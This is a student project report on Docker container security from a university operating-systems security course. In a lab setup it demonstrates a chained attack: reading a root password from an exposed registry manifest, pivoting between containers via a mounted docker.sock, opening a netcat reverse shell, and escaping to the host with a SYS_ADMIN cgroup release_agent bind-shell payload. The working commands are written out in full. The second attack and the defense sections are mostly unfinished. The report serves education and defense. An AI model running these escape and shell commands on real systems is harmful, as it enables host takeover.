A picture containing text

Description automatically generated****

Concordia Institute for Information Systems Engineering (CIISE)

‍‍Concordia University

**INSE 6130: Operating Systems Security**

**Project Report**

**Implementing Recent Attacks and Security Application on Containers**

**Submitted to:**

Dr. Suryadipta Majumdar

**Dated: April 20th, 2022**

|  |  |  |
| --- | --- | --- |
|  | **Student Name** | **Student ID** |
| 1 | Mohit Balu | 40221594 |
| 2 | Bikramjeet Singh | 40192900 |
| 3 | Harpreet Kaur | 40190384 |
| 4 | Nithya Sri Bommakanti | 40220572 |
| 5 | Milanpreet Kaur | 40204741 |
| 6 | Gouresh Chauhan | 40194834 |
| 7 | Srividya Poshala | 40192542 |
| 8 | Rabiatou Oubbo Modi | 40155873 |

**Table Of Contents**

[Introduction 3](#_Toc101280342)

[Planning and Preparation 6](#_Toc101280343)

[Setting Up the Environment 7](#_Toc101280344)

[Attack Scenarios 8](#_Toc101280345)

[Attack 1 Implementation 8](#_Toc101280346)

[Attack 1 Execution 8](#_Toc101280347)

[Attack 1 Defense 9](#_Toc101280348)

[Attack 2 Implementation 10](#_Toc101280349)

[Attack 2 Execution 11](#_Toc101280350)

[Attack 2 Defense 11](#_Toc101280351)

[Defense Mechanisms 11](#_Toc101280352)

[Implementation 11](#_Toc101280353)

[Application 11](#_Toc101280354)

[Team Member’s Contributions 11](#_Toc101280355)

[Challenges Faced: 14](#_Toc101280356)

[Future Scope 14](#_Toc101280357)

[References 15](#_Toc101280358)

[Appendix 15](#_Toc101280359)

# Introduction

Over the last few years, the use of virtualization technologies has been increased dramatically. This makes the demand for efficient and secure virtualization solutions more obvious. There are two main types of virtualization solutions: container-based and hypervisor that have emerged in the market. Docker, which is a container-based virtualization platform, was introduced in 2013, to solve the time-consuming and costly process of application development and service delivery. It provides a lightweight and efficient virtual environment and separates the applications into their containers, where they share the resources, however, interacts with the operating system independently. As virtualization is becoming mainstream, the security concerns pertaining to it are also coming to the surface.

In this project, we have emphasized on Docker environment, its possible attack vectors, and defense mechanisms against its vulnerabilities, knowing the fact that the working of other containerized environments is similar to that of Docker.

This project report mentions the planning, preparation, and development of the following:

1. Implementation of the attack scenarios,
2. Exploitation of the vulnerabilities implemented in the attack scenarios,
3. Implementation of the defense mechanisms against the vulnerabilities,
4. And the execution of the whole project.
5. **Implementation of the attack scenarios:**

We have developed two attack scenarios in which we have a Docker environment running on a system, and few components of the Docker environments (such as Docker registry, Docker Images, Docker containers, and Docker Engine) are running with security misconfigurations or with known vulnerabilities. We have tried to keep the scenarios as close to a typical real-world Docker environment running on a system in some organization.

1. **Exploitation of the vulnerabilities implemented in the attack scenarios:**

Assuming the role of an adversary, we have enumerated the system and exploited the vulnerabilities as in aforementioned attack scenarios. We also have chained different vulnerabilities to reach the goal of controlling the host operating system or exfiltrating the data from the database, more of which have been discussed in the “Attack Scenarios Section” of this report. During the execution of both the attacks, we have used Kali Linux as an attacker’s system and different open-source tool such as Nmap, Curl, Netcat, Docker Client to achieve our goal.

We have included following vulnerabilities as the part of our attack scenarios:

* + 1. Unprotected Docker Registry
    2. Sensitive Information Leakage in Image Manifest
    3. Docker Socket Mounted inside Docker Container
    4. Excessive Capabilities
    5. Components with Known Vulnerabilities (CVE-2019-5736)
    6. Missing Signature Verification

1. **Implementation of the defense mechanisms against the vulnerabilities:**

As the defenders of the Docker environment, implemented in Part (I), we have developed several python scripts, using different libraries, and few manual implementations, to mitigate or remediate those vulnerabilities; eventually making the attacker unable to discover or exploit them. Our python scripts interact with Docker environment using “Docker SDK for Python” to make necessary detections or changes in order to successfully defend the environment from an adversary. The specific details of the implementation have been discussed in the “Defense Mechanisms” part of this report however following is the list of security mechanisms that we have implemented:

* + 1. Image Manifest Scanner
    2. Capabilities Checker
    3. Docker Socket Detector
    4. Signature Implementation
    5. Registry Authentication
    6. IP Based filtering

1. **The execution of the whole project:**

Since the planning phase of this project, we have used a private repository on GitHub to share the ideas, resources, and documents. We have used the Zoom meetings and Group Study Rooms at Webster library to collaborate and discuss the ideas during the whole duration of the project.

We have regularly documented the steps of implementation on our GitHub repository to keep track of the things and to have the version control over code that we were developing to automate the steps. (Figure 1)

Graphical user interface, text, application, email

Description automatically generated

Figure 1: GitHub repository

All above mentioned work have been thoroughly discussed in the specific sections of this report.

We believe that we have implemented and exploited fairly good number of vulnerabilities in this project, and we have been successful in achieving our attack goals by chaining those vulnerabilities. At the same time, we also have achieved both the detection and prevention of attacks with our implementations in defense mechanisms, therefore, we are targeting the bonus points for the evaluation of this project report.

# Planning and Preparation

Our planning and preparation for the project implementation included several courses of actions, a few of which were decided before we started with the project and a few of them were figured out during the course of the project. The list is as following, but not limited to:

1. Learn Docker basics and read user guides from Docker official documentation (docs.docker.com)
2. Complete Docker courses on Udemy to get a hands-on idea of the docker environment and commonly used commands.
3. Learn about the latest common vulnerabilities (CVEs) in the containerized environments and common security misconfigurations.
4. Complete “The Docker Rodeo” lab on tryhackme.com to get a hands-on idea of exploiting vulnerabilities in the docker environment.
5. Read published papers and conference materials about container security to get in-depth knowledge of the specific vulnerabilities.
6. Document all the illustrations, learnings, and findings on our private project repository on GitHub.
7. Participate in the weekly recurring meeting to discuss the ideas and actions plans.
8. Discuss the challenges faced during the working of the project and try to figure out the solutions or the workarounds.

**Attackers vs Defenders:**

In the beginning, we divided our team of 8 members in two parts namely attackers and defenders. The attackers decided to implement the vulnerabilities and perform the exploitation whereas the defenders decided to work on detection and prevention of the attacks.

As we were going through different security misconfigurations and known vulnerabilities in Docker environment, we decided to chain multiple vulnerabilities to mimic real-world attack scenarios on Docker environment instead of exploiting a single or two vulnerabilities independently.

For defending the system from attacks, we planned to implement some automated solutions that can interact with Docker Engine, therefore, Python programming language was used because of its familiarity with all of the team members.

**Getting started with the Implementation:**

A handful of ideas and solutions were tried before we could figure out the common working conditions for our project on every member’s local system. We ended up with setting the local environment as discussed in the next section of the report, that we found best suited for our project.

# Setting Up the Environment

Graphical user interface, application

Description automatically generated

Figure 2: Environment Setup

The following points summarize the setup of the environment used for this project (Figure 2):

* Oracle VirtualBox is installed on the base system to simulate the attack scenarios in a virtualized environment.
* Ubuntu Operating System Virtual Machine is hosted on the VirtualBox and is assumed to be the target for attackers.
* Docker Environment is running on the Ubuntu Operating System consisting of Docker Engine, Docker Client, Docker Images and Docker Containers.
* Kali Operating System Virtual Machine is hosted on the VirtualBox and is assumed to be the source machine of the attackers.
* Ubuntu Virtual Machine and Kali Virtual Machine are in the same internal network.
* It is assumed that Ubuntu Operating system is not exposing any running service in the network other than those related to the Docker Environment.
* “DockerSec” Security Application is running on the Ubuntu Virtual Machine to implement the controls from the host machine itself.

# Attack Scenarios

## Attack 1 Implementation

The following illustration (Figure 3) explains the Attack 1 setup. The details of the components used in this attack have been discussed further.

Timeline

Description automatically generated

Figure 3: Attack Scenario 1 implementation

### Components used in Attack 1

**1. Docker Registry:** A Docker registry is a distribution system for Docker images. There are different images hosted on the docker image along with their tags. Every user that has access to docker registry can push or pull the images remotely. Docker Registry is itself a container and can be pulled from Docker hub. By default, Docker registry service runs on port 5000 on the host operating system.

**2. Registry Image Manifest:** Image manifests describe the various constituents of a docker image. Any user having access to the docker registry can access the manifest file of any image hosted on the docker registry.

**3. Docker Socket:** Docker Socket (docker.sock) is a Unix socket file used for communication from the docker engine API or the CLI to run commands on the system through the docker daemon. It is by default present on the system on which docker is installed. In some use cases, it can be mounted over the running containers to interact with other docker components.

**4. Container C1 (app-frontend):** Container C1, supposedly a web application frontend, is running with docker.sock file mounted inside it. Also, port 22 of this container is bound with port 22 of the host system.

**5. Container C2 (app-backend):** Container C2, supposedly a web application backend, is running with SYS\_ADMIN Linux capability.

### Vulnerabilities in Attack 1

**1. Unprotected Docker Registry:** The Docker registry service running on port 5000 is not configured without any authentication. Any user inside the network can access the registry.

**2. Sensitive Information Leakage in Image Manifest:** Container C1 is using SSH credentials which were configured using an environment variable when its image was built (using docker build command on Dockerfile).

**3. Docker Socket Mounted inside Docker Container:** Docker socket is mounted inside the container C1 to interact with other containers through container C1.

**4. Excessive Capabilities:** Container C2 is running with SYS\_ADMIN capability which is not a default capability and can be abused to perform docker escape attack.

### Steps to implement Attack 1

1. Pull the docker registry and start the registry service.

sudo docker pull registry

sudo docker run -d -p 5000:5000 --restart=always --name registry registry:latest

2. Since both the images are build using Dockerfile, Create Dockerfile for both container C1 and Container C2 [Refer to Appendix for the content of Dockerfile].

3. Create image “app-frontend: latest” (for container C1) from Dockerfile and “app-backend: latest” (for container C2) using Dockerfile of both the containers.

sudo docker build -t app-frontend:latest .

sudo docker build -t app-backend:latest .

4. Tag and push the images to the registry.

sudo docker tag app-frontend:latest localhost:5000/app-frontend:latest

sudo docker push localhost:5000/app-frontend:latest

sudo docker tag app-backend:latest localhost:5000/app-backend:latest

sudo docker push localhost:5000/app-backend:latest

5. Now, start the container C1 with port 22 open and docker.sock socket mounted.

sudo docker run -it -d -p 22:22 -v /var/run/docker.sock:/var/run/docker.sock localhost:5000/app-frontend:latest

6. Also, start the container C2 without privilege flag but with SYS\_ADMIN capability.

sudo docker run --rm -it -d --cap-add=SYS\_ADMIN --security-opt apparmor=unconfined localhost:5000/app-backend:latest bash

## **Attack 1 Execution**

As an attacker our goal is to get control of the Ubuntu operating system running underneath the docker environment. Following were our sub-goals to perform this attack successfully:

A. Compromising Container C1

B. Compromising Container C2

C. Compromising Underlying Operating System

**Diagram

Description automatically generated**

Figure 4: Attack 1 Execution

### Compromising Container C1

A Docker Environment is running, and it has several images and few containers running. It also has a docker registry service running on port 5000 for developers to access the status of images and containers.

Attacker does not have access to the target Ubuntu system however S(he) could see that there is a docker environment in the network as docker registry can be accessed on port 5000. The docker registry itself does not pose any serious security risk as it does not allow the user to create, delete or publish images (unless it is writable). The objective of the attacker is to find and exploit the vulnerabilities in the docker environment (if any) and eventually gain access to the underlying Ubuntu operating system.

#### Steps to Reproduce

1. Check running ports on the Ubuntu system by scanning its IP address (the IP Address of Ubuntu system is easy to discover assuming that the attacker is in the same network). You would see that port 22 and port 5000 is open.

nmap -Pn 192.168.0.10 -A -p-

Text

Description automatically generated

Figure 5: Nmap Scan Attack 1

2. We know that the Docker registry runs on port 5000 by default, we can try checking it in the browser to see if we get any response. You would see a JSON response listing down all the available images on the registry.

http://192.168.0.10:5000/v2/\_catalog

3. Each image can have different tags published which can be checked by following URL for each image.

http://192.168.0.10:5000/v2/app-frontend/tags/list

4. Docker registry can also be used to read manifest file of the images. Manifest file basically contains all the information about that image since the image is built. These manifest files can unintentionally be exposing some sensitive information. Hit following URL to read manifest file of an image (say app-frontend:latest)

http://192.168.0.10:5000/v2/app-frontend/manifests/latest

5. A manifest file will be downloaded. On checking you could see that there is a history section in the file which contains history of all the commands which were ran when the image was being built. On careful observation one could see that it is exposing a string named SECRET, whose value is being set as the password of root user in the very next command. In further commands, the root user is being enabled for login on SSH server which is running on port 22. As an attacker, we got the hint that the value of SECRET is the password for root user on SSH. Also, port 22 was discovered during initial port scan (Figure 6).

Text

Description automatically generated

Figure 6: History in Manifest file

6. Try logging into SSH on 192.168.0.10 using root user and you would get into the container as a root user.

ssh root@192.168.0.10

Text

Description automatically generated

Figure 7: Container C1 Compromised

You would see that the system which we have just compromised is not actually the target system. It is one of the docker container running on that Ubuntu system. Since we got the password from the manifest file of app-frontend:latest image, so we are inside the container of app-frontend:latest. Also, it is observable by looking at the hostname of the system that we are inside some docker container.

So, Container C1 is under attacker’s control.

### Compromising Container C2

Container C1 is already compromised which has docker.sock file mounted at /var/run/docker.sock. This can be leveraged to communicate with the docker engine and get access to other running containers.

To communicate with Docker Engine using docker. sock, 'docker' command-line tool should be installed however we are ruling out that option since unreasonable installation of any tool in a remote system is easily detectable by defense team. So, we will be using Unix socket to communicate with Docker Engine.

#### Steps to Reproduce

1. Find docker socket mounted in the system through system enumeration (use find command). You would see that docker.sock file is present in /var/run/docker.sock

find / -name docker.sock

Text

Description automatically generated

Figure 8: Docker Socker in Container C1

2. Now make use of this docker socket to interact with docker environment, e.g., to list all docker images:

curl -s --unix-socket /var/run/docker.sock -X GET http://localhost/images/json | jq

3. List all the running container:

curl -s --unix-socket /var/run/docker.sock -X GET http://localhost/containers/json | jq

Text

Description automatically generated

Figure 9: Listing container using docker.sock

4. Choose the container id on which the command would be ran. (e.g., 43de4ed6fa5df1e1f06432df00f6070fb8b6213992b84a7ae2646130263cbd4b)

5. Use a single nested command to create an exec command and then run that command on any container. e.g., to execute “date” command on container C2, run following command from C1.

curl --unix-socket /var/run/docker.sock -X POST http://localhost/v1.41/exec/$(curl --unix-socket /var/run/docker.sock -X POST http://localhost/v1.41/containers/43de4ed6fa5df1e1f06432df00f6070fb8b6213992b84a7ae2646130263cbd4b/exec -H "Content-Type: application/json" -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "DetachKeys": "ctrl-p,ctrl-q", "Tty": false, "Cmd": ["date"] }' | jq '.[]' | tr -d '"')/start -H "Content-Type: application/json" -d '{ "Detach": false, "Tty": false }'

Text

Description automatically generated

Figure 10: Command execution on Container C2

6. Now we know that we have the ability to run command on another container (C2), we can get the complete shell access of C2 by getting reverse shell, we would need netcat installed on C2 that can send us the reverse shell. We would need netcat on container C1 as well to catch the reverse shell.

To install netcat on container C, run

apt install -y netcat

To install netcat on C2, use the same curl technique to run command remotely:

curl --unix-socket /var/run/docker.sock -X POST http://localhost/v1.41/exec/$(curl --unix-socket /var/run/docker.sock -X POST http://localhost/v1.41/containers/43de4ed6fa5df1e1f06432df00f6070fb8b6213992b84a7ae2646130263cbd4b/exec -H "Content-Type: application/json" -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "DetachKeys": "ctrl-p,ctrl-q", "Tty": false, "Cmd": ["apt","install","-y","netcat"] }' | jq '.[]' | tr -d '"')/start -H "Content-Type: application/json" -d '{ "Detach": false, "Tty": false }'

7. Open the shell listener on C1, on which C2 will send the reverse shell.

nc -lvp 8080

8. Run the netcat command on C2 and wait on C1 to receive the shell. “172.17.0.3” is the IP address on container C1 on docker interface.

curl --unix-socket /var/run/docker.sock -X POST http://localhost/v1.41/exec/$(curl --unix-socket /var/run/docker.sock -X POST http://localhost/v1.41/containers/dcd2cca67d187fcbbd7fef316eda4b8d9b21fa06a5f63bba55b82371a8ab408b/exec -H "Content-Type: application/json" -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "DetachKeys": "ctrl-p,ctrl-q", "Tty": false, "Cmd": ["nc","-e","/bin/sh","172.17.0.3", "8080"] }' | jq '.[]' | tr -d '"')/start -H "Content-Type: application/json" -d '{ "Detach": false, "Tty": false }'

9. You would receive a shell connection from Container C2 on Container C1. On running command in the shell, you would know that we have the complete control of the container C2.

Text

Description automatically generated

Figure 11: Reverse shell from container C2

### Compromising Underlying Operating System

Sometimes containers need to be run with extra privileges to perform some operations on the host operating system itself. These containers are run with --privileged flag which adds some special capabilities to the running container, however, it is not considered a best practice for the security of the system. Any user (or attacker) having access to the container can easily elevate his/her access to the underlying operating system.

As a remediation of the above issue, containers are run with the specific capability (whichever is needed) instead of running it as a privileged container (which possess all the capabilities). These capabilities can be listed with capsh --print command.

In this step, Container C2 is running with the such capability SYS\_ADMIN. Basically, SYS\_ADMIN capability allows the container to perform system administration operations such as quotactl, mount, umount, swapon, swapoff, sethostname, and setdomainname. Although, not running a container as a privileged one, decreases the security risk however these specific capabilities can also be exploited by issuing some commands and access to the underlying operating system can be gained.

#### **Terminology**

**cgroup:** a control group is a linux kernel feature, used in docker environments, to isolate the resources for a group of processes, so that it does not interfere with each other's resources.

**release\_agent:** it is script which is supposed to run when the last process in a cgroups terminates.

**notify\_on\_release:** it is a flag to notify the linux kernel to invoke release\_agent when the last process in a cgroup terminates. By default, this flag is disabled (0).

**/etc/mtab:** it is a list of currently mounted filesystems.

**sh -c "echo $$":** this command prints the PID of sh (or any other) process.

As an attacker, to exploit SYS\_ADMIN capability, we tried to create a cgroup and a child cgroup and then terminate it processes to invoke release\_agent by enabling notify\_on\_release.

#### Steps to Reproduce

1. Create a directory and mount RDMA cgroup controller and then create a child cgroup 'child'.

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/child

2. Enable notify\_on\_release flag.

echo 1 > /tmp/cgrp/child/notify\_on\_release

3. Since /etc/mtab file contains currently mounted file systems (cgroup is one of them), store the full path of the cgroup (from underlying OS), in a variable called path.

path=`sed -n 's/.\*\perdir=\([^,]\*\).\*/\1/p' /etc/mtab`

4. Save the path appended with a file named 'exploit' (which will contain actual payload) into release\_agent, so that it gets executed when invoked.

echo "$path/exploit" > /tmp/cgrp/release\_agent

5. Now write actual payload, which is a bind shell, into exploit file.

We tried writing reverse shell into the payload however it always ended up with a broken pipe on netcat listener, therefore we are using bind shell.

echo "#!/bin/sh" > /exploit

echo python3 -c "'import socket; s=socket.socket(); s.bind((\"192.168.2.44\",1337)); s.listen(1);(r,z) = s.accept();exec(r.recv(999))'" >> /exploit

It is a bind shell written in python which will open port 1337 for connections on operating system's IP.

Please note that the port on which the shell is to be bound should be free. By running above command more than once, can leave the connection on specified port in CLOSED\_WAIT state and hence above command will not work. Port number can be replaced to avoid this problem.

6. Make the exploit file executable

chmod a+x /exploit

7. Now spawn a dummy process inside child cgroup, which will end immediately and hence release\_agent will be triggered inside operating system, and our payload will be executed.

sh -c "echo \$\$ > /tmp/cgrp/child/cgroup.procs"

Text

Description automatically generated

Figure 12: Staging exploit on host OS

8. Now, check the status of port 1337 by scanning the IP of the operating system

nmap -Pn 192.168.0.10 -p 1337

9. You could see the status is open. Connect to the bind shell which is waiting for our connection. Use netcat to connect to the port 1337

nc 192.168.0.10 1337

10. Once you are connected to the socket, spawn a bash shell using following snippet, then press ctrl+D (Do not press enter) to send EOF signal.

import pty,os;os.dup2(r.fileno(),0);os.dup2(r.fileno(),1);os.dup2(r.fileno(),2);pty.spawn("/bin/bash");s.close()

11. Run commands and you would notice that we have got access to underlying Ubuntu operating system.

Text

Description automatically generated

Figure 13: Host OS Compromised

## Attack 2 Implementation

The following illustration (Figure 14) explains the Attack 2 setup. The setup is similar to that of Attack 1 however the goal and execution of the attack is different. The details of the components used in this attack have been discussed further.

Timeline

Description automatically generated with medium confidence

Figure 14: Attack Scenario 2 Implementation

### Components Used in Attack 2

Most of the components are the same as used in Attack 1 however following are the one which we introduced in Attack2.

**1. Container C1 (app-creditscore):** Container C1 is hosting a web application which allows a user to login to check his/her credit score.

**2. Container C2 (app-creditscore):** Container C2 is hosting a database of user logins and credit data of users.

### Vulnerabilities In Attack 2

1. Unprotected Docker Registry

2. Components with Known Vulnerabilities (CVE-2019-5736)

3. Missing Signature Verification

### Steps To Implement Attack 2

## **Attack 2 Execution**

# Defense mechanisms

## Implementation

## Application

## Attack 1 Defense

To Defend the vulnerabilities that are present in attack 1, we have implemented python SDK for docker scripts. First, we have designed the security measures according to the vulnerabilities that are present in the attack scenario. In this, we have decided to implement five scripts. From which two scripts we have implemented and currently we are working on three defense mechanism scripts.

1. **Designing security Measures according to vulnerabilities present in attack scenario 1: [*WORKING*]:**
   * + Implement a python script to detect (and generate an alert) if any of the running docker containers is mounting docker. sock socket file.
     + Implement a python script to detect (and generate an alert) if any of the docker containers are running with unnecessary capabilities which can be abused by an adversary.
     + Implement a python script to generate an alert when someone logins via SSH to the docker container from an unidentified IP address.
2. **Implemented Defense Mechanism for first attack scenario: [*COMPLETED*]**
   * + We have implemented docker SDK for python, to defend the first part of the attack. In this script, it detects if any information (such as PASS, KEY, APIKEY, TOKEN) is being disclosed in the manifest file of the images on the Docker registry.
     + We have implemented the HTTP authentication for the docker registry to protect the registry service from being accessed by unauthorized users.
3. **Monitoring tools we are working on to detect the vulnerabilities in the docker: [*WORKING*]**
   * + We are also working on monitoring tools: Docker bench and Clair. We are analyzing both tools and will finalize which will detect the vulnerabilities more efficiently.
4. **Future Deliverables: [Planning to implement]**
   * + We are planning to design a security application that consists of all the defense scripts.

*Further, we will be working on implementing a second attack scenario and expect to work out the defense mechanism for it.*

## Attack 2 Defense

We will design the security measures according to vulnerabilities present in attack scenario 2 as we have done in scenario 1 and we will implement the defense scenario related to this particular attack.

**Member’s Individual Contributions:**

**Attack Scenario 1 Vulnerabilities:**

1. Unprotected Docker registry service
2. Sensitive information disclosure in image manifests
3. Abusing exposed docker socket inside the container (docker.sock)
4. Abusing SYS\_ADMIN Linux capability inside the container.

|  |  |  |
| --- | --- | --- |
|  | Sub Tasks | Contribution |
| 1. | Reading about different known vulnerabilities and misconfigurations in the Docker environment. | All |
| 2. | Designing Attack Scenario 1 by chaining different vulnerabilities as per real world context. | Mohit Balu,  Nithya Sri Bommakanti,  Harpreet Kaur |
| 3. | Prerequisites for Attack Scenario 1 (Installing specific versions and implementing misconfigurations). | Gouresh Chauhan,  Rabiatou Oubbo Modi |
| 4. | Performing attack on the environment including initial compromise, pivoting to other containers, docker escape, host OS compromise. | Mohit Balu,  Milanpreet Kaur,  Bikramjeet Singh |
| 5. | Documentation of development of Attack Scenario and attack steps on common Github repo. | Harpreet kaur,  Srividya Poshala |

**Attack Scenario 2 Vulnerabilities:**

1. Unprotected Docker registry service
2. CVE-2019-5736 (runC docker escape exploit)

**Sub-Tasks:**

|  | Sub Tasks | Contribution |
| --- | --- | --- |
| 1. | Designing Attack Scenario 2 by chaining a known vulnerability (CVE-2019-5736) and unprotected registry service. | Mohit Balu,  Bikramjeet Singh,  Harpreet kaur |
| 2. | Figuring out pre-requisites and compatibility of different docker components' versions (Docker Engine, Docker Client, containerd, runc) required for the implementation of runC vulnerability. | Gouresh Chauhan,  Rabiatou Oubbo Modi |
| 3. | Implementation of Attack Scenario 2. | Bikramjeet Singh,  Mohit Balu,  Nithya Sri Bommakanti |
| 4. | Documentation of Attack Scenario 2. | Srividya Poshala. Milanpreet Kaur |

**Defense Tasks:**

|  | Defense Tasks | Contribution |
| --- | --- | --- |
| 1. | Designing security Measures according to vulnerabilities present in Attack Scenerio1 & 2 | Milanpreet Kaur,  Mohit Balu,  Bikramjeet Singh |
| 2. | Implemented defense mechanism using Python SDK for docker. | Milanpreet Kaur,  Srividya Poshala. |
| 3. | Working on monitoring tools to detect the vulnerabilities | Gouresh Chauhan,  Rabiatou Oubbo Modi |
| 4. | Planning to design a framework for the security application. | Nithya Sri Bommakanti,  Harpreet kaur |
| 5. | Documentation of security measures | Harpreet kaur,  Milanpreet Kaur,  Srividya Poshala |

# Challenges Faced:

1. We have faced some challenges while working on this project. One challenge was that team members were not familiar with docker. We spent some time familiarizing ourselves with it and learning it.
2. Many articles on the internet guide about a running container with docker. sock and Unix sockets but commands for functioning containers using docker.sock and Unix sockets were a challenge to figure out. Anyhow, docker-engine API documentation came to our rescue for the challenge we were facing.
3. Another challenge was to find a working exploit with a reverse shell, to gain access to the operating system. All of the available writeups were limited to running the 'ps aux' command to prove the control over OS. We tried to modify the exploit to gain the reverse shell on OS, and we almost managed to run it, unfortunately, ended up with a 'broken pipe' as soon as the first command was executed on the reverse shell. After several attempts to fix it, the final solution was to go ahead with a bind shell written in python to make it work.
4. Faced compatibility issues of Virtual machines Ubuntu with the Mac M1 and Windows 11.
5. We struggled to figure out such vulnerability in docker components, which would let us do initial compromise of the environment and also further allow us to pivot to other containers or to perform docker escape.

Compromising initially by uploading malicious images would have given us access to the container itself however escaping from that container would have been very difficult, unless the container is intentionally run with some potential misconfiguration by a legitimate user, which is the least likely scenario in the real world.

Similarly, to implement the docker escape scenario, we would have required access to an already running container with some misconfiguration, which was possible by compromising some explicitly installed applications on the docker container. In the end, we figured out that an attacker outside the docker environment can do an initial compromise by pushing malicious image (with runC exploit) into an unprotected docker registry and at the same time perform docker escape through runC exploit and get access to the host OS.

# Future Scope

1. **I**mplementing the remaining defense mechanisms for Attack 1.
2. Need to do the documentation of Attack Scenario 2.
3. Need to implement remaining defense mechanisms for Attack 1.
4. Working on an implementation of a detection tool for the vulnerabilities.
5. Need to design security measures & implement those defense mechanisms for Attack 2.

# References

[1] “Docker Desktop overview,” *Docker Documentation*, Mar. 14, 2022.<https://docs.docker.com/desktop/> (accessed Mar. 15, 2022).

[2] “Docker Engine API v1.41 Reference.”<https://docs.docker.com/engine/api/v1.41/> (accessed Mar. 15, 2022).

[3] “Examples using the Docker Engine SDKs and Docker API,” *Docker Documentation*, Mar. 14, 2022.<https://docs.docker.com/engine/api/sdk/examples/> (accessed Mar. 15, 2022).

[4] “How To Run Docker In Docker Container [3 Methods Explained],” Jun. 25, 2021.<https://devopscube.com/run-docker-in-docker/> (accessed Mar. 15, 2022).

[5] Atucom, “Smallest Python Bind Shell.”<https://blog.atucom.net/2017/06/smallest-python-bind-shell.html> (accessed Mar. 15, 2022).

[6] “TryHackMe | Cyber Security Training,” *TryHackMe*. [https://tryhackme.com](https://tryhackme.com/) (accessed Mar. 15, 2022).

[7] Anton, “Understanding Docker container escapes,” *Trail of Bits Blog*, Jul. 20, 2019.<https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/> (accessed Mar. 15, 2022).

[8]”TryHackMe | The Docker Rodeo” *TryHackMe. The Docker Rodeo.* [https://tryhackme.com](https://tryhackme.com/)

# Appendix

1. Dockerfiles for both container in attack C1